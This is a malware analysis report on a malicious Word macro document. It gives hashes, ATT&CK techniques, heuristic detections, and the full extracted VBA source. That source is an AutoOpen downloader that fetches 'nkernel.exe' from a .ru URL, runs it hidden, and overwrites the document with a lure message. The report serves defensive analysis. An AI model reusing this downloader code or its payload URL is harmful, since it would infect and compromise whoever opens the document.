Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5b2090a9f14d45a1…

MALICIOUS

Office (OOXML)

21.9 KB Created: 2013-05-06 08:48:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2015-09-17
MD5: 01c9d39cd5755f5fcf9549a26330d450 SHA-1: 615f1a4f934d37b416568a4640dcd9e050954ae1 SHA-256: 5b2090a9f14d45a168ad18b6d49b0c91f2d48944ae2f6c32fb54d02b9ebdacb4
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes URLDownloadToFile to download a file named 'nkernel.exe' from 'http://crotokosto.ru/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe' to the temporary directory and then executes it. This indicates a downloader or droppper functionality.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell LocalFile, vbHide
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://crotokosto.ru/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1729 bytes
SHA-256: 244b5c43985c20a34cf7133775bda0ad00a60441b73a245e54e405dc1e03d304
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
                          (ByVal nBufferLength As Long, _
                           ByVal lpBuffer As String) _
                           As Long
Sub AutoOpen()
Dim ret As Long
        Dim HTTPfile As String, LocalFile As String
        Dim sBuffer As String
        Dim sPath As String
        Dim lBufPath As Long
        
        sBuffer = Space(255)
        lBufPath = GetTempPath(255, sBuffer)
        sPath = Left$(sBuffer, lBufPath)

        HTTPfile = "http://crotokosto.ru/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe"
        LocalFile = sPath & "nkernel.exe"

        ret = URLDownloadToFile(0, HTTPfile, LocalFile, 0, 0)
        Dim CurDirBackup As String
        Shell LocalFile, vbHide
        Selection.WholeStory
        Selection.Delete Unit:=wdCharacter, Count:=1
        Selection.TypeText Text:="Íå çàáûâàåì âñòóïàòü â íàøó ãðóïïó âêîíòàêòå! " + "ñêðèíøîòû èç èãðû, ñäåëàííûå íåâèäèìûì àäìèí-÷àðîì :)" + "Ôèêñ ëèñò âûëîæåí. Ñìîòðèì."
    
        
        
        End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 3772f09421abe2d456f61acfc3216a5bfb1edfb33770f92e96f477a687bb415c

Open this report in the interactive analyzer, or submit your own file for analysis.